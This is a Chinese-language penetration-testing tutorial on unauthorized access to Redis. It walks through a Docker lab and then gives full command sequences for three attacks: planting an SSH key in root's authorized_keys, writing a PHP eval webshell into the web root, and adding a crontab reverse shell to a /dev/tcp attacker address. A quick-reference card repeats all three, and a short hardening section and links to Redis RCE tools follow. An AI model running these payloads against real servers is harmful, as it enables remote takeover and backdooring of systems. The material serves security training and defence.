Redis 未授权访问
1186 字
6 分钟
Redis 未授权访问
一、漏洞概述
1.1 原理
Redis 低版本默认情况下会开放 6379 端口,允许任意用户未授权发送 Redis 指令,无需身份认证即可访问和操作 Redis 数据库。
1.2 必要条件
| 条件 | 说明 |
|---|---|
| Redis 版本 | v5.0.5 以下(默认无密码认证) |
| 端口开放 | 6379 端口对攻击者可达 |
| 权限 | 以 root 或高权限运行(危害更大) |
1.3 漏洞危害
| 危害 | 说明 |
|---|---|
| 信息泄露 | 未授权访问内部数据 |
| 数据破坏 | 执行 FLUSHALL 清空所有数据 |
| 写入后门 | 通过数据备份功能写入 Webshell、SSH 公钥 |
| 命令执行 | 通过 EVAL 执行 Lua 代码 |
| 服务器控制 | 以 root 身份运行时可完全控制服务器 |
二、Redis 搭建(Docker)
# 安装 Dockersudo apt updatesudo apt install docker.io -y
# 拉取并运行 Redis 5.0.5 容器sudo docker run -d -p 6379:6379 --name redis redis:5.0.5三、漏洞利用
3.1 环境拓扑
┌─────────────┐ ┌──────────────────┐│ Kali │────▶│ Ubuntu + Docker ││ (攻击机) │ │ Redis:5.0.5 │└─────────────┘ └──────────────────┘3.2 利用方式一:写入 SSH 公钥(免密登录)
原理: 将 SSH 公钥写入 Redis,通过修改备份路径和文件名,将公钥保存到 ~/.ssh/authorized_keys。
Step 1:生成 SSH 密钥对
# 在 Kali 上生成 SSH 密钥对(密码设为空)ssh-keygen# 一直回车即可Step 2:准备公钥文件
# 处理公钥格式(添加换行,否则 Redis 不接受)(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txtStep 3:写入 Redis
# 将公钥写入 Redis(key 名为 crack)cat 1.txt | redis-cli -h 192.168.61.103 -x set crackStep 4:查看并修改备份路径
# 连接 Redisredis-cli -h 192.168.61.103
# 查看当前备份路径192.168.61.103:6379> CONFIG GET dir1) "dir"2) "/root"
# 修改备份路径为 .ssh 目录192.168.61.103:6379> CONFIG SET dir /root/.sshOK
# 设置备份文件名为 authorized_keys192.168.61.103:6379> CONFIG SET dbfilename authorized_keysOK
# 保存192.168.61.103:6379> SAVEOK
# 退出192.168.61.103:6379> exitStep 5:免密登录
# 使用私钥登录目标服务器ssh -i ~/.ssh/id_rsa root@192.168.61.1033.3 利用方式二:写入 Webshell
原理: 将 PHP 一句话木马写入 Redis,通过修改备份路径到 Web 目录,生成 Webshell 文件。
Step 1:连接 Redis
redis-cli -h 192.168.68.132 -p 6379Step 2:修改备份路径到 Web 目录
# 修改备份路径为 Web 根目录192.168.68.132:6379> CONFIG SET dir /var/www/htmlOK
# 设置文件名为 shell.php192.168.68.132:6379> CONFIG SET dbfilename shell.phpOKStep 3:写入一句话木马
# 写入 Webshell192.168.68.132:6379> SET x "<?php @eval(\$_POST['a'])?>"OKStep 4:保存并验证
# 确认配置192.168.68.132:6379> CONFIG GET dir1) "dir"2) "/var/www/html"
192.168.68.132:6379> CONFIG GET dbfilename1) "dbfilename"2) "shell.php"
# 保存192.168.68.132:6379> SAVEOK
192.168.68.132:6379> exitStep 5:访问 Webshell
http://192.168.68.132/shell.phpPOST: a=phpinfo();3.4 利用方式三:Crontab 反弹 Shell
原理: 在 Linux 的定时任务目录 /var/spool/cron/ 中写入反弹 Shell 脚本。
Step 1:攻击机开启监听
nc -lvvvp 6666Step 2:连接 Redis 并写入反弹命令
redis-cli -h 192.168.68.132 -p 6379
# 写入反弹 Shell 命令(每分钟执行一次)192.168.68.132:6379> SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.147/6666 0>&1\n\n"OK
# 修改备份路径为 Crontab 目录192.168.68.132:6379> CONFIG SET dir /var/spool/cronOK
# 设置文件名192.168.68.132:6379> CONFIG SET dbfilename rootOK
# 保存192.168.68.132:6379> SAVEOK⚠️ 注意: 反弹 Shell 命令中的 IP 要改为攻击机的 IP!
四、Redis 防御加固
4.1 设置访问密码(禁止未授权访问)
# 编辑 Redis 配置文件vi /etc/redis.conf
# 找到 requirepass,取消注释并设置密码requirepass foobared验证:
# 连接后无法执行命令redis-cli -h 192.168.68.132 -p 6379192.168.68.132:6379> CONFIG GET dir(error) NOAUTH Authentication required.
# 需要先认证192.168.68.132:6379> AUTH foobaredOK192.168.68.132:6379> CONFIG GET dir1) "dir"2) "/root"4.2 设置访问白名单
# 编辑 Redis 配置文件vi /etc/redis.conf
# 修改 bind,限制仅允许指定 IP 访问bind 127.0.0.1 192.168.1.1004.3 其他加固建议
| 措施 | 说明 |
|---|---|
| 以低权限运行 | 不要以 root 用户运行 Redis |
| 修改默认端口 | 将 6379 改为其他端口 |
| 启用防火墙 | 限制 6379 端口的访问来源 |
| 定期更新 | 升级到最新版本,修复已知漏洞 |
| 使用非 root 用户 | 创建专用用户运行 Redis |
五、Redis 攻击工具
| 工具 | 地址 | 说明 |
|---|---|---|
| redis-rogue-server | https://github.com/n0b0dyCN/redis-rogue-server | Redis RCE 利用工具 |
| redis-rce | https://github.com/Ridter/redis-rce | Redis 远程命令执行工具 |
📌 快速参考卡片
漏洞检测
# 扫描端口nmap -p 6379 目标IP
# 尝试未授权连接redis-cli -h 目标IP -p 6379
# 如果可执行命令,则存在漏洞192.168.x.x:6379> INFO写入 SSH 公钥流程
ssh-keygen(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txtcat 1.txt | redis-cli -h 目标IP -x set crackredis-cli -h 目标IPCONFIG SET dir /root/.sshCONFIG SET dbfilename authorized_keysSAVEssh -i id_rsa root@目标IP写入 Webshell 流程
redis-cli -h 目标IPCONFIG SET dir /var/www/htmlCONFIG SET dbfilename shell.phpSET x "<?php @eval(\$_POST['a'])?>"SAVE反弹 Shell 流程
# 攻击机nc -lvvvp 6666
# RedisSET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机IP/6666 0>&1\n\n"CONFIG SET dir /var/spool/cronCONFIG SET dbfilename rootSAVE防御加固
# 设置密码requirepass 强密码
# 限制访问 IPbind 127.0.0.1 允许的IP
# 以非 root 用户运行useradd redissu - redis文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
相关文章智能推荐
1
弱口令与未授权访问
技术文章Hydra 服务爆破、Tomcat 后台弱口令 getshell,以及未授权访问漏洞清单与挖掘思路。
2
信息收集
技术文章从域名、IP、指纹到社工信息,渗透测试前期信息收集的完整思路与常用工具。
3
Webshell 工具
技术文章冰蝎、哥斯拉、蚁剑三款 Webshell 管理工具的特点对比与流量绕过方法。
4
漏扫工具
技术文章AWVS、AppScan、Nessus、Xray 四款漏扫工具的定位、使用方式与扫描结果解读。
5
基线检查及安全加固
技术文章PHP、Windows、Linux、Apache、Nginx、Tomcat、MySQL 七大对象的基线检查与安全加固清单。
随机文章随机推荐















